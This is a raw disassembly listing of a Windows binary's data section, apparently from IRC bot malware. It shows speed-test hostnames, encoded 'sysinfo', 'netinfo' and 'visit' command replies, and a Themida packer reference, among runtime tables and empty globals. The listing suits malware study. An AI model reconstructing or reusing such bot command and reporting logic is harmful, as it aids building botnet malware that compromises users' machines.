aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41A6AE+38o
		align 10h
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41A6AE+31o
		align 10h
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41A6AE+2Ao
		align 10h
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41A6AE+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41A6AE+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41A6AE+15o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_41A88B+52o
dword_43A038	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AA42+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43A114	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AA42+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA42:loc_41ABA6o
		align 4
aSS_1		db '%s (%s)',0          ; DATA XREF: sub_41AA42+EBo
a2003		db '2003',0             ; DATA XREF: sub_41AA42+BAo
		align 4
dword_43A148	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41ACF6+A4o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43A18C	dd offset word_412F4E	; DATA XREF: sub_41ACF6:loc_41AD62o
off_43A190	dd offset byte_4E414C	; DATA XREF: sub_41ACF6:loc_41AD58o
dword_43A194	dd 6C616944h, 70752Dh	; DATA XREF: sub_41ACF6+5Bo
dword_43A19C	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41ACF6+48o
unk_43A1AC	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF6Eo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 4
unk_43A1DC	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF67o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
dword_43A208	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41ADB5+1A0o
		dd 4C525520h, 2Eh
unk_43A224	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF48o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 10h
dword_43A260	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41ADB5+18Co
		dd 64657469h, 2Eh
dword_43A27C	dd 2A2F2Ah		; DATA XREF: sub_41ADB5+3Bo
dword_43A280	dd 6154B64Eh		; DATA XREF: sub_41B8D8+4w sub_41B8E2r ...
		align 10h
dword_43A290	dd 173Fh		; DATA XREF: sub_41C679+Dr
		dd 9875h, 9873h
off_43A29C	dd offset sub_41C748	; DATA XREF: ___:0041B784r
		dd offset nullsub_3
		dd offset nullsub_3
dword_43A2A8	dd 1B3Fh		; DATA XREF: sub_41C7BF+Dr
dword_43A2AC	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41CC41+2o
					; sub_41CC4A+2o
off_43A2C0	dd offset sub_41B7C2	; DATA XREF: sub_41DA29+1Cr
dword_43A2C4	dd 2			; DATA XREF: sub_423590+Er
					; sub_4235C9+46r ...
		dd 10h,	0
off_43A2D0	dd offset off_43A2D0	; DATA XREF: sub_41E976+Do
					; sub_41E976+69o ...
off_43A2D4	dd offset off_43A2D0	; DATA XREF: sub_41E976:loc_41E9F6r
					; sub_41E976+89w ...
		dd offset dword_43A2E8
		dd offset dword_43A2E8
dword_43A2E0	dd 0FFFFFFFFh		; DATA XREF: sub_41E976r
					; sub_41EABA:loc_41EB07w
		dd 0FFFFFFFFh
dword_43A2E8	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:0043A2D8o
					; ___:0043A2DCo
off_43C2F0	dd offset off_43A2D0	; DATA XREF: sub_41EABA+15r
					; sub_41EABA+20w ...
dword_43C2F4	dd 1E0h			; DATA XREF: sub_41B202+185r
					; sub_41B513:loc_41B54Fr ...
off_43C2F8	dd offset word_43C302	; DATA XREF: sub_41B6EE+23r
					; sub_41B6EE:loc_41B74Fr ...
off_43C2FC	dd offset word_43C302	; DATA XREF: sub_426BC1+18r
		db 2 dup(0)
word_43C302	dw 20h			; DATA XREF: sub_424D47+18r
					; ___:off_43C2F8o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43C504	dd 1			; DATA XREF: sub_41B6EE:loc_41B6F6r
					; sub_41B6EE:loc_41B73Ar ...
byte_43C508	db 2Eh			; DATA XREF: sub_420510:loc_420804r
					; sub_420510+311r ...
		align 4
		dd 1
off_43C510	dd offset aNull_0	; DATA XREF: sub_41F69F:loc_41FA03r
					; sub_41F69F+457r
					; "(null)"
off_43C514	dd offset aNull		; DATA XREF: sub_41F69F+259r
					; "(null)"
byte_43C518	db 1			; DATA XREF: sub_41FEA9+E1r
		db 2, 4, 8
		align 10h
dword_43C520	dd 3A4h			; DATA XREF: sub_41FEA9+2Fo
dword_43C524	dd 82798260h, 21h, 0	; DATA XREF: sub_41FEA9+11Dr
dword_43C530	dd 0DFA6h		; DATA XREF: sub_41FEA9+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43C610	dd 1			; DATA XREF: sub_41FEA9+3Co
					; sub_4203DF+Co
dword_43C614	dd 16h			; DATA XREF: sub_4203DF:loc_420414r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43C778	dd 0D2D0920h, 5Dh	; DATA XREF: sub_4203DF+19o
					; sub_420510:loc_420A77o
dword_43C780	dd 5Dh,	0		; DATA XREF: sub_420510:loc_420967o
dword_43C788	dd 14h			; DATA XREF: sub_421624+2o
off_43C78C	dd offset aExp		; DATA XREF: sub_421624:loc_421641r
					; "exp"
		dd 1Dh,	427878h, 1Ah, 42C270h, 1Bh, 427870h, 1Fh, 427868h
		dd 13h,	427860h, 21h, 427858h, 0Eh, 427850h, 0Dh, 427848h
		dd 0Fh,	427840h, 10h, 427838h, 5, 427830h, 1Eh,	42782Ch
		dd 12h,	427828h, 20h, 427824h, 0Ch, 42781Ch, 0Bh, 427814h
		dd 15h,	42780Ch, 1Ch, 427804h, 19h, 4277FCh, 11h, 4277F4h
		dd 18h,	4277ECh, 16h, 4277E4h, 17h, 4277DCh, 22h, 4277D8h
		dd 23h,	4277D4h, 24h, 4277D0h
dbl_43C860	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+B7r
					; sub_42135F:loc_421446r ...
		dd 0
		dd 0FFF80000h
dbl_43C870	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+92r
					; sub_42135F:loc_42141Er ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43C888	dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr
					; sub_42180C+1Fr
		align 4
tbyte_43C894	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r
		align 10h
off_43C8A0	dd offset sub_421CA0	; DATA XREF: sub_41C760+Fw
					; sub_41F69F+3AAr
off_43C8A4	dd offset sub_421935	; DATA XREF: sub_41C760+5w
					; sub_41F69F+3E2r
off_43C8A8	dd offset sub_42199B	; DATA XREF: sub_41C760+14w
					; sub_420510+430r
off_43C8AC	dd offset sub_4218DB	; DATA XREF: sub_41C760+1Ew
					; sub_41F69F+3CBr
off_43C8B0	dd offset sub_421983	; DATA XREF: sub_41C760+28w
off_43C8B4	dd offset sub_421CA0	; DATA XREF: sub_41C760+32w
		dd offset sub_42470C
		align 10h
		dd offset sub_42255C
off_43C8C4	dd offset sub_42255C	; DATA XREF: sub_4225B2+29r
dword_43C8C8	dd 0C0000005h		; DATA XREF: sub_422E2F+Ar
					; sub_422E2F+11o ...
dword_43C8CC	dd 0Bh			; DATA XREF: sub_425A82+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43C940	dd 3			; DATA XREF: ___:00422D46r
					; sub_425955+C8r
dword_43C944	dd 7			; DATA XREF: ___:00422D4Cr
					; sub_425955+CDr
dword_43C948	dd 0Ah			; DATA XREF: sub_422E2F+4r
					; sub_425A82+4r
dword_43C94C	dd 8Ch			; DATA XREF: ___:00422D70r
					; ___:00422D7Dw ...
dword_43C950	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F043:loc_41F0C4o
					; sub_41F58A:loc_41F647o
dword_43C958	dd 2			; DATA XREF: sub_4235C9+Eo
					; sub_4235C9+28r
off_43C95C	dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr
					; sub_4235C9+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B94h, 9, 427B68h, 0Ah,	427B44h, 10h, 427B18h
		dd 11h,	427AE8h, 12h, 427AC4h, 13h, 427A98h, 18h, 427A60h
		dd 19h,	427A38h, 1Ah, 427A00h, 1Bh, 4279C8h, 1Ch, 4279A0h
		dd 78h,	427990h, 79h, 427980h, 7Ah, 427970h, 0FCh, 433824h
		dd 0FFh, 427960h
off_43C9E8	dd offset dword_4DB5A0	; DATA XREF: sub_4235C9+1Bo
					; sub_423936+55o
		align 10h
		dd offset dword_4DB5A0
		dd 101h
dword_43C9F8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_423936+72o
		dd 1000h, 0
dword_43CA08	dd 3 dup(0)		; DATA XREF: sub_41F58A+50o
					; sub_420446+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43CA28	dd 3 dup(0)		; DATA XREF: sub_41F58A+58o
					; sub_420446:loc_420464o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43CA58	dd 84h dup(0)		; DATA XREF: sub_423936+9Bo
dword_43CC68	dd 2 dup(0)		; DATA XREF: sub_423936+69o
dword_43CC70	dd 2694h		; DATA XREF: sub_420FC1+3r
					; sub_421014+46r
		align 8
dword_43CC78	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_4244ECo
dword_43CC90	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o
dword_43CCA8	dd 7080h		; DATA XREF: sub_422669+76r
					; sub_4247EC+5Ew ...
dword_43CCAC	dd 1			; DATA XREF: sub_422669+98r
					; sub_4247EC+8Bw ...
dword_43CCB0	dd 0FFFFF1F0h		; DATA XREF: sub_422669:loc_42271Br
					; sub_4247EC+94w ...
off_43CCB4	dd offset loc_54534D+3	; DATA XREF: ___:off_43CD34o
		dd 0Fh dup(0)
off_43CCF4	dd offset loc_54444C+4	; DATA XREF: ___:off_43CD38o
		dd 0Fh dup(0)
off_43CD34	dd offset off_43CCB4	; DATA XREF: sub_4247EC+BAr
					; sub_4247EC+D9r ...
off_43CD38	dd offset off_43CCF4	; DATA XREF: sub_4247EC+F4r
					; sub_4247EC+11Br ...
		align 10h
dword_43CD40	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+1Dw
					; sub_424A4A+1Er ...
dword_43CD44	dd 0			; DATA XREF: sub_424A4A:loc_424B7Er
					; sub_424BF6+BFw
dword_43CD48	dd 0			; DATA XREF: sub_424A4A+192r
					; sub_424BF6+E0w
		align 10h
dword_43CD50	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+17w
					; sub_424A4A+26r ...
dword_43CD54	dd 0			; DATA XREF: sub_424A4A+13Ar
					; sub_424BF6+EAw ...
dword_43CD58	dd 0			; DATA XREF: sub_424A4A+1A1r
					; sub_424BF6+23r ...
dword_43CD5C	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43CD8C	dd 16Dh			; DATA XREF: sub_422669+2Ar
					; sub_424BF6+2Er ...
dword_43CD90	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6:loc_424C82r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43CDC8	dd 2 dup(0)		; DATA XREF: sub_425DDA+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43CF28	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_425DDA+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43D084	dd offset off_427D68	; DATA XREF: ___:00427F44o
					; ___:00428030o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43D09C	dd offset off_427D68	; DATA XREF: ___:off_427DF8o
					; ___:00427E38o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43D0BC	dd offset off_427D68	; DATA XREF: ___:off_427E40o
					; ___:00427E84o ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43D0DC	dd offset off_427D68	; DATA XREF: ___:off_427E8Co
					; ___:00427ED0o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43D100	dd offset off_427D68	; DATA XREF: ___:off_427ED8o
					; ___:00427F14o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42470C
		align 10h
dword_43D120	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
dword_43D128	dd 2 dup(0)		; DATA XREF: sub_40111D+62o
					; ___:0040146Eo ...
dword_43D130	dd 0			; DATA XREF: ___:004015B0o
					; sub_401ACD+B07o ...
		dd 5 dup(0)
dword_43D148	dd 0			; DATA XREF: sub_401ACD+B63r
					; sub_4150B4+60r
		dd 2D9h	dup(0)
dword_43DCB0	dd 0			; DATA XREF: sub_401ACD+5E62r
					; sub_401ACD+5F3Fr ...
		dd 7Fh dup(0)
dword_43DEB0	dd 0			; DATA XREF: sub_40B0F6+41w
					; sub_40B231+40w ...
dword_43DEB4	dd 0			; DATA XREF: sub_40B0F6+47w
					; sub_40B231+46w ...
dword_43DEB8	dd 0			; DATA XREF: sub_40B0F6+52w
					; sub_40B231+3Ar ...
dword_43DEBC	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_43DEC0	dd 0			; DATA XREF: sub_40B231+75r
					; sub_40B412+2Aw ...
dword_43DEC4	dd 0			; DATA XREF: ___:004015FFw
					; ___:00401677w ...
byte_43DEC8	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5DA7r ...
		align 4
		dd 1E21h dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:00433764o
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:00437A50o
		dd 1CFCh dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: ___:off_4384C0o
		dd 12416h dup(0)
		db 0
byte_4A049D	db 3 dup(0)		; DATA XREF: Themida_:loc_5498B7o
					; Themida_:0054E311o
		dd 5369h dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: ___:off_43832Co
		dd 569Ah dup(0)
dword_4CACB0	dd 0			; DATA XREF: sub_40111D+FDw
					; sub_40B0F6+13o ...
dword_4CACB4	dd 0			; DATA XREF: ___:0040125Ew
					; sub_401ACD:loc_4044D7r ...
dword_4CACB8	dd 0			; DATA XREF: ___:loc_4016FFo
dword_4CACBC	dd 20h dup(0)		; DATA XREF: ___:004016B6o
					; ___:00401750o ...
dword_4CAD3C	dd 10h dup(0)		; DATA XREF: ___:004016CCo
dword_4CAD7C	dd 24h dup(0)		; DATA XREF: ___:004016E3o
dword_4CAE0C	dd 0			; DATA XREF: ___:004016D7w
					; ___:00401767w ...
dword_4CAE10	dd 0			; DATA XREF: ___:004016F6w
		align 10h
byte_4CAE20	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4CAE24	dd 0			; DATA XREF: ___:00401704w
					; ___:0040171Br ...
dword_4CAE28	dd 0			; DATA XREF: ___:004016BBw
					; sub_401ACD+8BEr
dword_4CAE2C	dd 0			; DATA XREF: sub_401ACD+7DBFo
					; sub_40C9A4+13o ...
dword_4CAE30	dd 0			; DATA XREF: sub_409B12+4A7w
					; sub_409B12+4EBr ...
dword_4CAE34	dd 0			; DATA XREF: sub_409B12+65w
					; sub_4196BC+166r
dword_4CAE38	dd 0			; DATA XREF: sub_409B12+80Bw
					; sub_409B12+880r ...
dword_4CAE3C	dd 0			; DATA XREF: sub_409B12+9D8w
					; sub_409B12+A43r ...
dword_4CAE40	dd 0			; DATA XREF: sub_409B12+98Aw
					; sub_409B12+A13r ...
dword_4CAE44	dd 0			; DATA XREF: sub_409B12+48Dw
					; sub_409B12+4DBr ...
dword_4CAE48	dd 0			; DATA XREF: sub_409B12+213w
					; sub_409B12+234r
dword_4CAE4C	dd 0			; DATA XREF: sub_409B12+9CBw
					; sub_409B12+A3Br ...
dword_4CAE50	dd 0			; DATA XREF: sub_409B12+372w
					; sub_409B12+3C7r ...
dword_4CAE54	dd 0			; DATA XREF: sub_409B12+40Fw
					; sub_41AA42+11Er
dword_4CAE58	dd 0			; DATA XREF: sub_409B12+37Fw
					; sub_409B12+3CFr ...
dword_4CAE5C	dd 0			; DATA XREF: sub_409B12+3C0w
					; sub_418C8E+ADr
dword_4CAE60	dd 0			; DATA XREF: sub_409B12+55Aw
					; sub_40F0D5+115r ...
dword_4CAE64	dd 0			; DATA XREF: sub_409B12+72w
					; sub_409B12+D2r ...
dword_4CAE68	dd 0			; DATA XREF: sub_409B12+97Dw
					; sub_409B12+A06r ...
dword_4CAE6C	dd 0			; DATA XREF: sub_409B12+3A6w
					; sub_409B12+3E7r ...
dword_4CAE70	dd 0			; DATA XREF: sub_409B12+859w
					; sub_409B12+8ACr ...
dword_4CAE74	dd 0			; DATA XREF: sub_409B12+2A5w
					; sub_409B12+2F0r ...
dword_4CAE78	dd 0			; DATA XREF: sub_409B12+84Cw
					; sub_409B12+8A4r ...
dword_4CAE7C	dd 0			; DATA XREF: sub_409B12+B3w
dword_4CAE80	dd 0			; DATA XREF: sub_409B12+866w
					; sub_409B12+8B4r ...
dword_4CAE84	dd 0			; DATA XREF: sub_409B12+54Dw
					; sub_409B12+6D0r ...
dword_4CAE88	dd 0			; DATA XREF: sub_409B12+58w
					; sub_409B12+CAr ...
dword_4CAE8C	dd 0			; DATA XREF: sub_409B12+934w
dword_4CAE90	dd 0			; DATA XREF: sub_401ACD:loc_403F25r
					; sub_409B12+A95w ...
dword_4CAE94	dd 0			; DATA XREF: sub_409B12+A6w
					; sub_409B12+F2r
dword_4CAE98	dd 0			; DATA XREF: sub_409B12+480w
					; sub_409B12+4D3r ...
dword_4CAE9C	dd 0			; DATA XREF: sub_409B12+5F6w
					; sub_40BFA3+20r
dword_4CAEA0	dd 0			; DATA XREF: sub_409B12+9BEw
					; sub_409B12+A33r
dword_4CAEA4	dd 0			; DATA XREF: sub_409B12+5E9w
					; sub_409B12+754r ...
dword_4CAEA8	dd 0			; DATA XREF: sub_409B12+A0Cw
dword_4CAEAC	dd 0			; DATA XREF: sub_409B12+B50w
dword_4CAEB0	dd 0			; DATA XREF: sub_409B12+7FEw
					; sub_409B12+86Dr ...
dword_4CAEB4	dd 0			; DATA XREF: sub_409B12+1B3w
					; sub_40B2F1+3Do ...
dword_4CAEB8	dd 0			; DATA XREF: sub_409B12+997w
					; sub_409B12+A1Br ...
dword_4CAEBC	dd 0			; DATA XREF: sub_409B12+38Cw
					; sub_409B12+3D7r ...
dword_4CAEC0	dd 0			; DATA XREF: sub_409B12+399w
					; sub_409B12+3DFr ...
dword_4CAEC4	dd 0			; DATA XREF: sub_409B12+C85w
					; sub_409B12+C8Cr ...
dword_4CAEC8	dd 0			; DATA XREF: sub_409B12+6ACw
					; ___:0041088Fr
dword_4CAECC	dd 0			; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4CAED0	dd 0			; DATA XREF: sub_409B12+4B4w
					; sub_4153BC+207r
dword_4CAED4	dd 0			; DATA XREF: sub_409B12+9E5w
					; sub_409B12+A4Br ...
dword_4CAED8	dd 0			; DATA XREF: sub_401000+51r
					; sub_409B12+2B2w ...
dword_4CAEDC	dd 0			; DATA XREF: sub_409B12+7Fw
					; sub_409B12+DAr ...
dword_4CAEE0	dd 0			; DATA XREF: sub_401ACD+5911r
					; sub_401ACD+79CEr ...
dword_4CAEE4	dd 0			; DATA XREF: ___:004012ADr
					; sub_401ACD+5117r ...
dword_4CAEE8	dd 0			; DATA XREF: sub_409B12+825w
					; sub_409B12+890r ...
dword_4CAEEC	dd 0			; DATA XREF: sub_409B12+9A4w
					; sub_409B12+A23r
dword_4CAEF0	dd 0			; DATA XREF: sub_409B12+C0Ew
					; sub_409B12+C3Fr
dword_4CAEF4	dd 0			; DATA XREF: sub_409B12+2CCw
					; sub_4184E1+47r
dword_4CAEF8	dd 0			; DATA XREF: sub_409B12+22Dw
dword_4CAEFC	dd 0			; DATA XREF: sub_409B12+91Aw
					; sub_409B12+92Er
dword_4CAF00	dd 0			; DATA XREF: sub_409B12+C28w
dword_4CAF04	dd 0			; DATA XREF: sub_409B12+2D9w
					; sub_4184E1+4Fr
dword_4CAF08	dd 0			; DATA XREF: sub_409B12+574w
					; sub_409B12+6E8r ...
dword_4CAF0C	dd 0			; DATA XREF: sub_409B12+83Fw
					; sub_409B12+873r
dword_4CAF10	dd 0			; DATA XREF: sub_409B12+220w
					; sub_409B12+23Cr
dword_4CAF14	dd 0			; DATA XREF: sub_409B12+172w
					; sub_409B12+1C2r ...
dword_4CAF18	dd 0			; DATA XREF: sub_401ACD+1E30r
					; sub_401ACD+5AC7r ...
dword_4CAF1C	dd 0			; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+51A1r ...
dword_4CAF20	dd 0			; DATA XREF: sub_409B12+567w
					; sub_409B12+6DCr ...
dword_4CAF24	dd 0			; DATA XREF: sub_409B12+8DBw
					; sub_409B12:loc_40A40Bw ...
dword_4CAF28	dd 0			; DATA XREF: sub_401000+26r
					; sub_409B12+28Bw ...
dword_4CAF2C	dd 0			; DATA XREF: sub_401ACD+7959r
					; sub_409B12+69Fw ...
dword_4CAF30	dd 0			; DATA XREF: sub_409B12+32Dw
					; sub_409B12+341r ...
dword_4CAF34	dd 0			; DATA XREF: sub_409B12+3B3w
					; sub_409B12+3EFr ...
dword_4CAF38	dd 0			; DATA XREF: sub_409B12+C01w
					; sub_409B12+C37r
dword_4CAF3C	dd 0			; DATA XREF: sub_409B12+818w
					; sub_409B12+888r ...
dword_4CAF40	dd 0			; DATA XREF: sub_409B12+206w
					; sub_409B12+227r
dword_4CAF44	dd 0			; DATA XREF: sub_409B12+18Cw
					; sub_409B12+1D2r ...
dword_4CAF48	dd 0			; DATA XREF: sub_409B12+832w
					; sub_409B12+898r ...
dword_4CAF4C	dd 0			; DATA XREF: sub_409B12+624w
					; sub_409B12+774r
dword_4CAF50	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_409B12+2BFw ...
dword_4CAF54	dd 0			; DATA XREF: sub_409B12+66Bw
					; sub_409B12+79Cr ...
dword_4CAF58	dd 0			; DATA XREF: sub_409B12+320w
					; sub_409B12+334r ...
dword_4CAF5C	dd 0			; DATA XREF: sub_409B12+644w
					; sub_409B12+784r ...
dword_4CAF60	dd 0			; DATA XREF: sub_409B12+44Cw
					; sub_409B12+4AEr ...
dword_4CAF64	dd 0			; DATA XREF: sub_409B12+199w
					; sub_409B12+1DAr ...
